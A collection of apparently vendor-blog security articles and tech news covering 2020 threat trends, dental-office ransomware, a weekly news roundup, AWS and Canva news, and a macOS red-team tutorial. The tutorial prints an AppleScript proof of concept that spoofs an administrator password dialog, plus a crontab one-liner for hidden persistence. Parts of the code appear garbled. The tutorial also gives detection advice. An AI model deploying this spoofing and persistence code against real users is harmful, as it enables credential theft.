Preparing for 2020: Trends in Cybercrime, Threats and Risks

As 2019 draws to a close, we take a look at how the year has panned out on the cyber front. What have been the main trends witnessed over the last 12 months, and what can we learn from them to prepare for 2020 and beyond?

image of 2020 cybercrime trends

Ransomware: The ‘Gift’ to Criminals That Keeps On Giving

The main threat in 2019 continued to be ransomware, a relatively simple attack which encrypts information on endpoints and servers and demands a ransom payment in exchange for releasing the hijacked data. A ransomware attack does not attempt to be stealthy; notification of its existence is part of the MO, and aside from locking files, ransomware does not (directly) cause other damage to the infected system. That said, it’s precisely the knock-on denial of service effects arising from crucial data being made unavailable that make the business case to pay or to not pay turn in the criminals favour.

From a technical point of view, this is a threat that should be quite simple to deal with, and reducing the number of organizations that continue to offer criminals an easy pay day while putting their own essential services at risk is something that should be top of the agenda for every CISO in 2020. If there is a proper backup strategy in place, all the organization has to do is erase affected workstations and recover from the most recent pre-infection snapshot or image. Even better, a trusted EDR solution is easily capable of preventing ransomware in the first place and rolling back infected devices in the second.

In practice, however, too many organizations are caught unprepared. Too many businesses have sprawling networks with poor visibility and a wide-range of legacy devices. Too many businesses are using outdated information systems; too many have insufficient awareness of the threat; too many do not backup regularly or update software frequently enough. The practicalities for some organizations are far from trivial and not to be underestimated, but the reality is that no matter how big the challenge, businesses that fail to get their networks in order and implement simple, best practices across their endpoints can expect to be severely affected by ransomware attacks.

Take, for example, the Baltimore Municipality, which experienced a ransomware attack in May 2019. The attack left the city offline for weeks, and the recovery was slow and expensive. The Baltimore Municipality estimates the cost of the financial attack to be $18.2 – the city’s Information Technology Office has spent $4.6 million on recovery efforts since the attack and expects to spend another $5.4 million by the end of the year. Another $8.2 million cost comes from potential lost or delayed revenue, such as money from property taxes, real estate fees and fines.

The 2019 Baltimore attack was the first in a wave of (sometimes coordinated) attacks on U.S. cities and towns throughout the remainder of the year. The most notable attack was against 22 Texas cities and agencies. In addition, the education sector has been hit hardest by criminals. Since the beginning of 2019, there have been hundreds of ransomware attacks against US public schools – more than the total number of all attacks on US entities in 2018. Some school districts have been disabled for months because of such attacks.

Ransomware attacks have more than doubled globally over the past 12 months, with the United States being the target of more than half of the world’s incidents. The situation has become so dire that ransomware is considered a threat to US national security and there are real fears that ransomware attacks could interfere with the upcoming U.S. elections, either through voting machines or voter data being targeted for encryption.

Ransomware Take Away for 2020: take yourself out of the firing line, get proper protection and implement a robust backup and contingency plan. This is not just Security 101, but Security 911. 2019 teaches us that those who fail to make the right, crucial call to get on top of their networks will be caught out.

APTs: Making Nation-State Attacks Great Again

Government-backed, advanced persistent threat actors have been particularly busy this year. The Chinese, Iranians and North Koreans have all been seen engaging in hacking activities during 2019, while the US government has itself made unofficial admissions of cyber attacks against Iranian facilities this year.

Notable attacks seen during 2019 were a widespread attack on the airplane maker Airbus, an attack on a host of financial entities that generated $3 billion in revenue for North Korea, and Iranian attacks on Saudi entities and companies. In addition, it turns out that the Chinese passenger plane C919 unveiled this year is almost entirely copied from a series of American and other manufacturers, suggesting that stolen IP played a big role in its development. The US Secretary of Defense recently said that China is committing the biggest IP theft in human history. Needless to say, most of the information was stolen through cyber measures.

Unlike previous nation-state cyber attacks, these attacks are wide-ranging, affecting a variety of bodies, individuals and companies while striving to reach their final goal. In the process, many more entities that traditionally are not considered the targets of these sophisticated attackers are being hit. These include infrastructure companies and service providers. Undoubtedly, the changing threatscape will also require these entities to invest more in securing their information and infrastructure.

Clues to this could be seen in a new regulation by the US Department of Defense, the CMMC, which will apply to 300,000 sub-contractors this year to the organization’s major arms manufacturers and suppliers, requiring them to deploy appropriate safeguards as a condition for participation in tenders. Never ones to take half measures themselves, the Chinese government has come to the conclusion that it no longer trusts US tech, and has ordered all government and public institutions to remove US hardware and software and be 100% completely domestically-sourced by 2022.

APT Take Away for 2020: expect more of the same. As nations vie for strategic advantage in cyberspace, it looks increasingly like the battle will extend to securing and homogenizing the supply chain by the big players, with the smaller players likely having to pick their side.

IoT: Yet Even More ‘Stranger Things’ on Your Network

As the number of Internet of Things (IoT) devices invading enterprise networks continues its inexorable growth, both nation-state actors and criminal enterprises have this year naturally taken an interest in exploiting IoT devices.

Earlier this year, APT actor Fancy Bear, aka Strontium, attacked printers, video decoders and IP/VOIP phones to gain wider access to corporate networks. Meanwhile, copy-cat Mirai botnets continued to exploit unpatched devices susceptible to Eternalblue throughout 2019, with one security vendor reporting that virtually all attacks seen on their honeypots were automated scripts designed to attack at scale.

Increasing attention to the security of internet-connected appliances is, therefore, a necessity for every organization. It’s becoming ever-more difficult to avoid such things appearing on your network as manufacturers continue to add internet and ‘cloud’ capability to the most mundane of devices.

IoT Take Away for 2020: network visibility is going to be crucial. You cannot defend what you cannot see, and every blindspot is a potential soft access point into your wider network.

Breaches and Leaks: All Your Data Are Belong to Us!

Many of the “cyberattacks” we hear about are not attacks at all, but data breaches that are a result of malicious or negligent actions that expose sensitive information to the wider world. Digital data leakage has always existed, but as the amounts of data are growing exponentially and organizations are moving to cloud-based systems, data breaches are becoming more frequent and more severe.

Data breaches on frightening scales – like an entire nation – are the price of organizations becoming dependent on the cloud for storing information while at the same time lacking the knowledge, skill or will to implement secure cloud best practices.

For example, many organizations store their entire customer database on cloud services such as Amazon AWS or Microsoft Azure. These are robust platforms when used properly, but it’s also easy for clients to misconfigure firewalls, leave open permissions, use weak or recycled passwords or fail to secure other credentials.

Such basic failures have led to millions of sensitive records being exposed this year: medical records, financial information, personal information and more. As is so often the case, the technology is not at fault here. The challenge today is to develop the skills of the DevOps who operate these cloud environments to be aware of the dangers and to act intelligently.

As an example of what can happen when organizations fail this challenge, see the Canadian Bank of Nova Scotia developers who retained parts of the source code as well as passwords and credentials for sensitive systems on the open source storage system Github.

Breaches Take Away for 2020: do the right thing. There’s no shortage of best practices information on how to prevent and deal with data breaches, but research has shown that even some of the top consulting firms fail to take their own advice. Don’t be one of them.

Disinformation: Fake It Till You Make It, Politics’ New Normal

This year, we experienced a rise in a trend that affects our lives more deeply than just “cyber-hacking” – the increasing involvement of cyber attacks in politics. From Israel’s Prime Ministerial candidate’s mobile phone that was allegedly hacked by Iranians, through to Israeli offensive cyber companies whose products serve various regimes around the world for spying on political parties, to campaigns with political motivations by countries such as Russia and North Korea, and even ransomware campaigns featuring images of President Trump (or Hillary Clinton).

There is an understanding in the industry, as well as in the behavior of democratic states, that there will no longer be any “cyber-less” elections. The UK election in December 2019 has already witnessed several cyber incidents: DDoS attacks on one of the major parties, disinformation strategies by the other, and Russian-backed entities allegedly leaking information related to key election issues have all been seen.

With Deep Fakes and disinformation campaigns now being treated as genuine electoral tactics, there is even greater need to increase general awareness among the public about this threat to democracy as we move toward the US 2020 election season.

Disinformation Take Away for 2020: security mechanisms around influential political figures and political party apparatus must be tightened and more effort is needed to secure voting processes from tampering. On top of that, we all need to treat the 24/7 news cycle, designed to maximize instant likes, retweets and to hit that “gone viral” sweetspot, with a healthy degree of skepticism.


2019 was a clear continuation of the years that preceded it, but more intense — more attacks, more data breaches and greater damage throughout the world. Will 2020 bring any relief or will the threats keep escalating? The problems we’ve seen in 2019 aren’t going to “magic” themselves away, but nor are we helpless. The big takeaway from 2019 is that organizations and companies, governments and individuals must invest more in information security, education and prevention. Cybercrime is a solvable problem that no one needs to be a victim of.

But for those that continue to ignore the reality and refuse to accept the challenges of doing business in the modern, connected world, then 2020 will likely be bleaker than its predecessor, and not the other way around.

If you would like to see how SentinelOne can help your business meet those challenges and stay safe in 2020, contact us for more info or request a free demo.

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AWS is sick of waiting for your company to move to the cloud

AWS held its annual re:Invent customer conference last week in Las Vegas. Being Vegas, there was pageantry aplenty, of course, but this year’s model felt a bit different than in years past, lacking the onslaught of major announcements we are used to getting at this event.

Perhaps the pace of innovation could finally be slowing, but the company still had a few messages for attendees. For starters, AWS CEO Andy Jassy made it clear he’s tired of the slow pace of change inside the enterprise. In Jassy’s view, the time for incremental change is over, and it’s time to start moving to the cloud faster.

AWS also placed a couple of big bets this year in Vegas to help make that happen. The first involves AI and machine learning. The second, moving computing to the edge, closer to the business than the traditional cloud allows.

The question is what is driving these strategies? AWS had a clear head start in the cloud, and owns a third of the market, more than double its closest rival, Microsoft. The good news is that the market is still growing and will continue to do so for the foreseeable future. The bad news for AWS is that it can probably see Google and Microsoft beginning to resonate with more customers, and it’s looking for new ways to get a piece of the untapped part of the market to choose AWS.

Ransomware at Colorado IT Provider Affects 100+ Dental Offices

A Colorado company that specializes in providing IT services to dental offices suffered a ransomware attack this week that is disrupting operations for more than 100 dentistry practices, KrebsOnSecurity has learned.

Multiple sources affected say their IT provider, Englewood, Colo. based Complete Technology Solutions (CTS), was hacked, allowing a potent strain of ransomware known as “Sodinokibi” or “rEvil” to be installed on computers at more than 100 dentistry businesses that rely on the company for a range of services — including network security, data backup and voice-over-IP phone service.

Reached via phone Friday evening, CTS President Herb Miner declined to answer questions about the incident. When asked about reports of a ransomware attack on his company, Miner simply said it was not a good time and hung up.

The attack on CTS comes little more than two months after Sodinokibi hit Wisconsin-based dental IT provider PerCSoft, an intrusion that encrypted files for approximately 400 dental practices.

Thomas Terronez, CEO of Iowa-based Medix Dental, said he’s heard from several affected practices that the attackers are demanding $700,000 in bitcoin from some of the larger victims to receive a key that can unlock files encrypted by the ransomware.

Others reported a ransom demand in the tens of thousands of dollars. In previous ransomware attacks, the assailants appear to have priced their ransom demands based on the number of workstation and/or server endpoints within the victim organization. According to CTS, its clients typically have anywhere from 10 to 100 workstations.

Terronez said he’s spoken with multiple practices that have been sidelined by the ransomware attack, and that some CTS clients had usable backups of their data available off-site, while others have been working with third party companies to independently negotiate and pay the ransom for their practice only.

Many of CTS’s customers took to posting about the attack on a private Facebook group for dentists, discussing steps they’ve taken or attempted to take to get their files back.

“I would recommend everyone reach out to their insurance provider,” said one dentist based in Denver. “I was told by CTS that I would have to pay the ransom to get my corrupted files back.”

“My experience has been very different,” said dental practitioner based in Las Vegas. “No help from my insurance. Still not working, great loss of income, patients are mad, staff even worse.”

Terronez said the dental industry in general has fairly atrocious security practices, and that relatively few offices are willing to spend what’s needed to fend off sophisticated attackers. He said it’s common to see servers that haven’t been patched for over a year, backups that haven’t run for a while, Windows Defender as only point of detection, non-segmented wireless networks, and the whole staff having administrator access to the computers — sometimes all using the same or simple passwords.

“A lot of these [practices] are forced into a price point on what they’re willing to spend,” said Terronez, whose company also offers IT services to dental providers. “The most important thing for these offices is how fast can you solve their problems, and not necessarily the security stuff behind the scenes until it really matters.”

The Good, the Bad and the Ugly in Cybersecurity – Week 49

Image of The Good, The Bad & The Ugly in CyberSecurity

The Good

Strong coordinated action was apparent this week when an international law enforcement operation targeted the sellers and users of the Imminent Monitor Remote Access Trojan (IM-RAT). The operation was led by the Australian Federal Police (AFP), with international activity coordinated by Europol and Eurojust, and resulted in disabling IM-RAT, which was used across 124 countries and sold to more than 14,500 buyers. IM-RAT can no longer be used by those who bought it. This insidious RAT, which was able to disable anti-virus, record keystrokes, steal data and passwords and watch the victims via their webcams, was sold for as little as $25 (!!!) per license. The takedown netted the developer, an IM-RAT employee and 13 of the most prolific users of this Remote Access Trojan (RAT), spanning the entire globe – Australia, Colombia, Czechia, the Netherlands, Poland, Spain, Sweden and the United Kingdom.

In what might turn out to be the biggest news in cybercrime of 2019, the FBI and US DoJ have named two individuals, Maksim Yakubets and Igor Turashev, as being behind the ‘Evil Corp’ hacking group responsible for distributing the Dridex banking trojan. Authorities have offered an unprecedented US $5m reward for information leading to the arrest of Yakubets, who is also thought to be behind the notorious Zeus banking malware. Yakubets is widely believed to be hiding in Russia, so prospects of an arrest any time soon remain slim.

image of tweet Dridex hacker reward

The Bad

A targeted ransomware attack has hit one of America’s largest data center providers, CyrusOne, with the REvil (Sodinokibi) ransomware. Unlike other ransomware attacks that hit US entities this week –  like the very “evil” attack that hit the Shakespeare Theatre in Madison causing it to cancel Wednesday night’s performance of Charles Dickens’ “A Christmas Carol” –  the CyrusOne attack is more significant since it immediately impacts several downstream entities. The company’s initial assessment found that six MSPs (Managed Service Providers) suffered denial of service issues. Attacks that target service providers, often thought to have better security than smaller, less-technical companies, are more sophisticated and in the long run can proliferate and impact many client organizations.

image of cyrusone ransomware attack

The Ugly

This week, Kremlin critic Ben Bradshaw (UK, Labour Party) claimed he was the target of a Russian cyber-attack after receiving a suspicious email from Moscow. According to a news story in the Guardian, the email – supposedly from a Russian whistleblower – contained a number of documents that appeared to be genuine. The files showed how the Kremlin had set up a secret “fake news unit” to suppress negative stories and boost pro-government sentiment in its far east region. The Guardian reported that Bradshaw had sent the documents to “cyber experts” for analysis and that they had confirmed two of the documents carried malicious code. However, subsequent analysis by the UK’s National Cyber Security Centre (NCSC) appears to have failed to find anything malicious.

image of Ben Bradshaw tweet

Bradshaw himself seems to believe the email may have been just the opening shot in an attempt at gaining trust, and that his vigilance may have prevented a subsequent spear-phishing attack. We’d certainly agree with the need for caution when dealing with email attachments, by far the most common vector of malware infections for both individuals and organizations. Whether the British politician was really targeted or not, there’s no doubt that increasing meddling in political affairs through cybercrime is the ugly price of today’s wired world. Those tasked with protecting the integrity of the US 2020 election should be watching closely how the UK 2019 election unfolds.


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Canva introduces video editing, has big plans for 2020

Canva, the design company with nearly $250 million in funding, has today announced a variety of new features, including a video editing tool.

The company has also announced Canva Apps, which allows developers and customers alike to build on top of Canva. Thus far, Dropbox, Google Drive, PhotoMosh and Instagram are already in the Canva Apps suite, with a total of 30 apps available at launch.

The video editing tool allows for easy editing with no previous experience required, and also offers video templates, access to a stock content library with videos, music, etc. and easy-to-use animation tools.

Meanwhile, Canva is taking the approach of winning customers when they’re young, with the launch of Canva for Education. It’s a totally free product that has launched in beta with Australian schools, integrating with GSuite and Google Classroom to allow students to build out projects, and teachers to mark them up and review them.

Canva has also announced the launch of Canva for Desktop.

As design becomes more important to the way every organization functions and operates, one of the only barriers to the growth of the category is the pace at which new designers can emerge and enter the workforce.

Canva has positioned itself as the non-designer’s design tool, making it easy to create something beautiful with little to no design experience. The launch of the video editing tool and Canva for Education strengthen that stance, not only creating more users for the platform itself but fostering an environment for the maturation of new designers to join the ecosystem as a whole.

Alongside the announcement, Canva CEO Melanie Perkins has announced that Canva will join the 1% pledge, dedicating 1% of equity, profit, time and resources to making the world a better place.

Here’s what she had to say about it, in a prepared statement:

Companies have a huge role to play in helping to shape the world we live in and we feel like the 1% Pledge is an incredible program which will help us to use our company’s time, resources, product and equity to do just that. We believe the old adage ‘do no evil’ is no longer enough today and hope to live up to our value to ‘Be a Force for Good’.

Interestingly, Canva’s position at the top of the design funnel hasn’t slowed growth. Indeed, Canva recently launched Canva for Enterprise to let all the folks in the organization outside of the design department step up to bat and create their own decks, presentations, materials, etc., all within the parameter’s of the design system and brand aesthetic.

A billion designs have been created on Canva in 2019, with 2 billion designs created since the launch of the platform.

macOS Red Team: Calling Apple APIs Without Building Binaries

In the previous post on macOS red teaming, we set out to create a post-exploitation script that could automate searching for privileged apps on a target’s Mac and generate a convincing-looking authorization request dialog box to steal the user’s password. We also want our script to be able to monitor for use of the associated app so that it can trigger the spoofing attempt at an appropriate time to maximize success. In this post, we’ll continue developing our script, explore the wider case for taking an interest in AppleScript from a security angle, and conclude with some notes on mitigation and education.

image of calling apple apis

From last time, we have got as far as enumerating any Privileged Helper Tools, finding their parent applications, grabbing the associated icon and producing a reasonably credible-looking dialog box. My incomplete version of the script so far looks something like this:


use AppleScript version "2.4" -- Yosemite (10.10) or later
use scripting additions
use framework "Foundation"

#  classes, constants, and enums used
property NSString : a reference to current application's NSString
property NSFileManager : a reference to current application's NSFileManager
property NSWorkspace : a reference to current application's NSWorkspace

set NSDirectoryEnumerationSkipsHiddenFiles to a reference to 4
set NSFileManager to a reference to current application's NSFileManager
set NSDirectoryEnumerationSkipsPackageDescendants to a reference to 2


-- we can use some encoding on these plain text strings later if we want to make detection more difficult

set defaultIconName to "AppIcon"
set defaultIconStr to "/System/Library/CoreServices/Software"
set resourcesFldr to "/Contents/Resources/"
set pht to "/Library/PrivilegedHelperTools"
set iconExt to ".icns"
set makeChanges to " wants to make changes."
set privString to "Enter the Administrator password for "
set allowThis to " to allow this."
set software_update_icon to ""



on removeWhiteSpace:aString
	set theString to current application's NSString's stringWithString:aString
	set theWhiteSet to current application's NSCharacterSet's whitespaceAndNewlineCharacterSet()
	set theString to theString's stringByTrimmingCharactersInSet:theWhiteSet
	return theString
end removeWhiteSpace:

on removePunctuation:aString
	set theString to current application's NSString's stringWithString:aString
	set thePuncSet to current application's NSCharacterSet's punctuationCharacterSet()
	set theString to theString's stringByTrimmingCharactersInSet:thePuncSet
	return theString
end removePunctuation:

on getSubstringFromIndex:anIndex ofString:aString
	set s_String to NSString's stringWithString:aString
	return s_String's substringFromIndex:anIndex
end getSubstringFromIndex:ofString:

on getSubstringToIndex:anIndex ofString:aString
	set s_String to NSString's stringWithString:aString
	return s_String's substringToIndex:anIndex
end getSubstringToIndex:ofString:

on getSubstringFromCharacter:char inString:source_string
	set s_String to NSString's stringWithString:source_string
	set find_char to NSString's stringWithString:char
	set rangeOf to s_String's rangeOfString:char
	return s_String's substringFromIndex:(rangeOf's location)
end getSubstringFromCharacter:inString:

on getSubstringToCharacter:char inString:source_string
	set s_String to NSString's stringWithString:source_string
	set find_char to NSString's stringWithString:char
	set rangeOf to s_String's rangeOfString:char
	return s_String's substringToIndex(rangeOf's location)
end getSubstringToCharacter:inString:

on getOffsetOfLastOccurenceOf:target inString:source
	set astid to AppleScript's text item delimiters
	set AppleScript's text item delimiters to target
		set ro to (count source) - (count text item -1 of source)
	on error errMsg number errNum
		display dialog errMsg
		set AppleScript's text item delimiters to astid
		return ro - (length of target) + 1
	end try
end getOffsetOfLastOccurenceOf:inString:

on getShortAppName:longAppName
		set longName to NSString's stringWithString:longAppName
		set lastIndex to my getOffsetOfLastOccurenceOf:"." inString:longAppName
		set shorter to my getSubstringToIndex:(lastIndex - 1) ofString:longName
		set shortest to shorter's lastPathComponent()
	on error
		# log "didn't get short name for " & longName
		return longAppName
	end try
	return shortest as text
end getShortAppName:

on enumerateFolderContents:aFolderPath
	set folderItemList to "" as text
	set nsPath to current application's NSString's stringWithString:aFolderPath
	--- Expand Tilde & Symlinks (if any exist) ---
	set nsPath to nsPath's stringByResolvingSymlinksInPath()
	--- Get the NSURL ---
	set folderNSURL to current application's |NSURL|'s fileURLWithPath:nsPath
	set theURLs to (NSFileManager's defaultManager()'s enumeratorAtURL:folderNSURL includingPropertiesForKeys:{} options:((its NSDirectoryEnumerationSkipsPackageDescendants) + (get its NSDirectoryEnumerationSkipsHiddenFiles)) errorHandler:(missing value))'s allObjects()
	set AppleScript's text item delimiters to linefeed
		set folderItemList to ((theURLs's valueForKey:"path") as list) as text
	end try
	return folderItemList
end enumerateFolderContents:

on getIconFor:thePath
	set aPath to NSString's stringWithString:thePath
	set bundlePath to current application's NSBundle's bundleWithPath:thePath
	set theDict to bundlePath's infoDictionary()
	set iconFile to theDict's valueForKeyPath:(NSString's stringWithString:"CFBundleIconFile")
	if (iconFile as text) contains ".icns" then
		set iconFile to iconFile's stringByDeletingPathExtension()
	end if
	return iconFile
end getIconFor:

on getAppForBundleID:anID
	set allApps to paragraphs of (do shell script my lsappinfo)
	repeat with apps in allApps
		if apps contains anID then
			set appStr to (NSString's stringWithString:apps)
			set subst to (my getSubstringFromCharacter:""" inString:appStr)
			set subst to (my removeWhiteSpace:subst)
			set subst to (my removePunctuation:subst)
				set bundlePath to (NSWorkspace's sharedWorkspace's absolutePathForAppBundleWithIdentifier:subst)
				if bundlePath is not missing value then
					set o to (my getOffsetOfLastOccurenceOf:"/" inString:(bundlePath as text))
					set appname to (my getSubstringFromIndex:o ofString:bundlePath)
					if appname is not missing value then
						return appname as text
						return bundlePath as text
					end if
				end if
			end try
			return subst as text
			-- do nothing
		end if
	end repeat
end getAppForBundleID:

on getPrivilegedHelperTools()
	return its enumerateFolderContents:(my pht)
end getPrivilegedHelperTools

on getPrivilegedHelperPaths()
	set helpers to paragraphs of its getPrivilegedHelperTools()
	set toolNames to {}
	repeat with n from 1 to count of helpers
		set this_helper to item n of helpers
		-- convert AS text to NSString
		set nsHlpr to (NSString's stringWithString:this_helper)
		-- now we can use NSString API to separate the path components
		set helperName to nsHlpr's lastPathComponent()
		set end of toolNames to {name:helperName as text, path:this_helper}
	end repeat
	return toolNames
end getPrivilegedHelperPaths

set helpers to my getPrivilegedHelperPaths()
set helpers_and_apps to {}
repeat with hlpr in helpers
	set bundleID to missing value
	set idString to missing value
		set this_hlpr to hlpr's path
		set idString to (do shell script "launchctl plist __TEXT,__info_plist " & this_hlpr & " | grep -A1 AuthorizedClients") as text
	end try
	if idString is not missing value then
		set nsIDStr to (NSString's stringWithString:idString)
		set sep to (NSString's stringWithString:"identifier ")
		set components to (nsIDStr's componentsSeparatedByString:sep)
		if (count of components) is 2 then
			set str to item 2 of components
			-- some sanitization:
			set str to (my removeWhiteSpace:str)
			set str to (my (its removePunctuation:str))
			set str to (str's stringByReplacingOccurrencesOfString:""" withString:"")
			set bundleID to (str's componentsSeparatedByString:" ")'s item 1
			set bundlePath to (NSWorkspace's sharedWorkspace's absolutePathForAppBundleWithIdentifier:bundleID)
		end if
		if bundleID is not missing value then
			set end of helpers_and_apps to {parent:bundleID as text, path:bundlePath as text, helperName:hlpr's name as text, helperpath:hlpr's path}
		end if
	end if
end repeat

set helpersCount to count of helpers_and_apps
if helpersCount is greater than 0 then
	# 			-- choose one at random
	set n to (random number from 1 to helpersCount) as integer
	set chosenHelper to item n of helpers_and_apps
	set hlprName to chosenHelper's helperName
	set parentName to chosenHelper's path
	set shortName to my getShortAppName:(parentName as text)
	-- set the default icon in case next command fails
	set my software_update_icon to POSIX file (my defaultIconStr as text)
	-- try to get the current helper apps icon
		set iconName to my getIconFor:parentName
		set my software_update_icon to POSIX file (parentName & my resourcesFldr & (iconName as text) & iconExt)
	end try
	-- let's get the user name from Foundation framework:
	set userName to current application's NSUserName()
	display dialog hlprName & my makeChanges & return & my privString & userName & my allowThis default answer "" with title shortName default button "OK" with icon my software_update_icon as «class furl» with hidden answer
end if

Choosing an Execution Method

One of AppleScript’s great versatilities is the sheer variety of ways that you can execute it. This is a topic I will explore further another time, but for now let’s simply list the ways. Aside from running your script in a Script Editor – something you’d likely never do other than during development – you can run AppleScript code from Services workflows, Mail Rules, Folder Actions, Droplets, and a bunch of third party utilities to boot. You can export your script as an application directly from the Script Editor, complete with its own Resources folder and icon, and you can even codesign it right there, too. 

image of export script as app

But perhaps the most versatile – and stealthy – way of all is simply to save your script as plain text with an osascript shebang at the top. That will allow you to call it from the command line, with no pre-compilation necessary at all. Try this simple experiment in your favorite text or code editor:

use framework "Foundation"
property NSWorkspace : a reference to current application's NSWorkspace
set isFront to NSWorkspace's sharedWorkspace's frontmostApplication's localizedName as text

If your editor has the ability to run code directly (e.g, in BBEdit you can execute the contents of the front window with Command-R), run it now and note the result. Otherwise, save the file and run it from the command line.

image of run in bbedit
Of course, it returns the code editor itself since that is the frontmost app when you execute it. If we save the file as ‘frontmost_app’ without a file extension and run it from the Terminal, no prizes for guessing what’s returned, as the Terminal is now the frontmost app:

image of run in terminal
This may seem trivial, but it’s actually quite consequential. Until relatively recently, if you wanted to call Apple’s Carbon or Cocoa APIs on a Mac, you needed to build your code and compile it into a Mach-O binary. Of course, you don’t need a Mach-O if you want to run Bash shell commands, but then you can’t access the powerful Cocoa and Foundation APIs from that kind of shell script either. 

The problem with binaries, though, particularly on Mojave and Catalina, is that they can be scanned for strings and byte sequences, subjected to codesigning and notarization checks, and typically are written to disk where they can be detected by AV suites and other security tools. Wouldn’t it be nice if there was a way of executing native API code without all those security hurdles to get past? Wouldn’t it be nice if we could execute that code in memory?

On that point, the recent discovery of a “fileless” macOS malware that builds and executes a binary in memory using the native NSCreateObjectFileImageFromMemory and NSLinkModule caused a bit of a stir this week, although it’s not the first time this technique has been seen in the wild. However, with AppleScript/Objective C, we can get the power of Cocoa and Foundation APIs without building a binary at all. And since we can execute our scripts containing AppleScript/Objective C from plain, uncompiled text, that means we can CURL out to a remote server to download and then execute our “malicious” AppleScript/Objective C code in memory, too, without ever touching the file system. 

At this point, it’s probably worth pointing out that AppleScript isn’t the only way you can do this. There is also JavaScript for Automation (JXA), a 3rd party Python/Objective C (PyObjC) and even Swift can be used as a scripting language. However, to my mind AppleScript/Objective C is more stable and mature than JXA, less obvious than Python and doesn’t require external dependencies, while also substantially easier to develop than Swift scripts. That doesn’t mean these alternatives aren’t worth our attention another day, though!

But wait…Why Not Use ‘Vanilla’ AppleScript?

Let’s return to our Proof-of-Concept script that we began in the previous post. Our little NSWorkspace code snippet above will come in handy as one of the tasks we have to implement is watching for the app that we have chosen to spoof becoming active. This will be an ideal time to socially engineer the user and see if we can catch our target off guard and grab their credentials. 

Old school AppleScripters will know that we can use a short snippet of what is sometimes called “vanilla” AppleScript code to tell us which app is “frontmost” without reaching out to Cocoa APIs like NSWorkspace. 

tell application "System Events"

set frontapp to POSIX path of (file of process 1 whose frontmost is true) as text

end tell

However, vanilla AppleScript is problematic on a few counts. One, AppleScript is much slower than Objective C; two, the System Events app itself is notoriously slow and sometimes buggy; three, on Catalina, Apple have put limits on what you can do with some of the Apple Events generated by AppleScript. As soon as you start trying to control applications with AppleScript you are at risk of triggering a user consent dialog. From WWDC 2019:

“…the user must consent before one app can use AppleScript or raw Apple Events to control the actions of another app. These consent prompts make it clear, which apps are acting under the influence of which other apps and give the user control over that automation.”

We can avoid these potentially noisy Apple Events by steering clear of interacting with other apps and utilities with vanilla AppleScript and sticking to a combination of Foundation and Cocoa APIs and calling out to native command line utilities where necessary. 

Finding the Right Time For Social Engineering

Our next obstacle is figuring out how to check for our target app becoming frontmost without our own code getting in the way and becoming frontmost when we execute it. The answer to that problem lies in deciding how we’re going to launch our POC script. 

As we’ve seen, there are many different contexts in which we can launch AppleScript code, but let’s assume here that we will execute our script from a plain text ASCII file. We can do that in any number of ways. From a parent bash or python script, or directly from osascript, and there are also a number of options in terms of watching for the application to come frontmost. Rather than recommend any in particular, I’ll refer you to this post on macOS persistence methods, which explains the various options for launching persistent code. For the sake of this example, I’m going to use a cron job because cron jobs are quick and easy to write and less visible to most users than, say, LaunchAgents and LaunchDaemons. 

We can insert a cron job to the user’s crontab without authorization or authentication. A simple echo will do, though beware that this particular way of doing it will overwrite any existing cron jobs the user may have:

$ echo '*/1    *    *    *    * /tmp/.local' | crontab -

This will cause whatever is located at /tmp/.local to execute once a minute, indefinitely. Of course, we place our POC script at just that location. Let’s expand our earlier snippet and test this mechanism to make sure it returns the application that the user is engaged with rather than our calling code:

image of frontmost app

Save this as /tmp/.local and execute the line above to install the crontab. Assuming you have no other cron jobs, you can safely do this on your own machine and remove the crontab later with 

$ crontab -r

Now, you might like to continue browsing for a minute or so before inspecting what’s inside the ~/front.out file. If all’s gone well, it should be the name of your browser, or whatever application you were using when the code triggered. 

The cron job will keep running the script and overwrite the last entry every minute until you either delete the crontab or remove the script at /tmp/.local

We now have a mechanism for watching for the user’s activity that should not trip any built-in macOS security mechanisms. We can now hook that up to our POC script so that whatever application has been chosen by the script to get spoofed is the one we watch out for.

Let’s add a repeat loop that calls a new handler, checkIfFrontmost:shortName.

image of add handler

You can now create the handler further up the script by adapting the code snippet we tested above to check and return true if the app name is the same as shortName, and false otherwise. Remember that shortName is being passed into the handler as an NSString, so deal with that as described in the previous post.

Password Capture and Confirmation

We now have pretty much everything in place: a means of enumerating trusted, authorized helper tools and their parent apps, a convincing dialog box with icon and appropriate title, and a means of determining when the user is engaged with our target app. Let’s add the code for dealing with the dialog box’s “OK” and “Cancel” buttons.

image of capture password

Here we repeat the request twice, and save the answer given in a list called answers. Later, we retrieve the last answer in the list, assuming that the user would have typed more carefully on the second request, as typically users believe a failed authorization is due to their own typing error. We also add some logic here in case the user decides to cancel out at any point. In that event, we throw another dialog saying the parent app “can’t continue”, and we then attempt to kill the process by getting its PID either from the app’s path or it’s bundle identifier. Again, note we could do this directly with vanilla AppleScript just by using a 

tell application "BBEdit" to quit

We could also use NSRunningApplication’s terminate API, but at risk of running into macOS security checks, it may be better to shell out and issue a kill command via do shell script. Here’s a quick and dirty handler for grabbing the PID that probably needs a bit more battle-testing.

image of getPidFor handler

Finally, I leave it as an exercise for the reader to decide on how best to write the password out to file. You could use vanilla AppleScript here, since it won’t involve interapplication communication, but there’s a perfectly good (faster, stabler) NSString writeToFile: API that you can use instead. Regardless of technique, consider the location carefully in light of Mojave’s and Catalina’s new user privacy restrictions. Our incomplete POC script will also require some further logic to stop the spoofing (remember that cron job is still firing!) once we’ve successfully captured the password.

Blue Teams and Mitigation Strategies

In this post and the previous post, I’ve tried to show how AppleScript can be leveraged as a “living off the land” utility in the hope of drawing attention to just how powerful this underused and underrated macOS technology really is.

While I find it unlikely that threat actors would use these techniques in the wild – in part, because threat actors already have well established techniques for acquiring privileges – I believe it is important that as security researchers we turn over every stone, look into every possibility and ask questions like “what if someone did this?” “how would we detect it?” “what should we do to prevent it?” I believe the onus is on us to know at least as much as our adversaries about how macOS technologies work and what can be done with them. 

On top of that, the ease (after a little practice!) with which sophisticated and powerful AppleScript/Objective C scripts can be built, modified and deployed can provide another useful tool for red teams looking for unexpected pay offs in their engagements. 

For mitigation strategies, aside from running demos of this kind of spoofing activity to educate users, defenders should look out for osascript in the processes list. There aren’t many legitimate users of osascript in organizations and those that there are should be easy to enumerate and monitor. AppleScript is very much like “the PowerShell of macOS”, only with much more power and much less scrutiny from the security community. Let’s make sure we, as defenders, know more about it than those with malicious intent.

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Design may be the next entrepreneurial gold rush

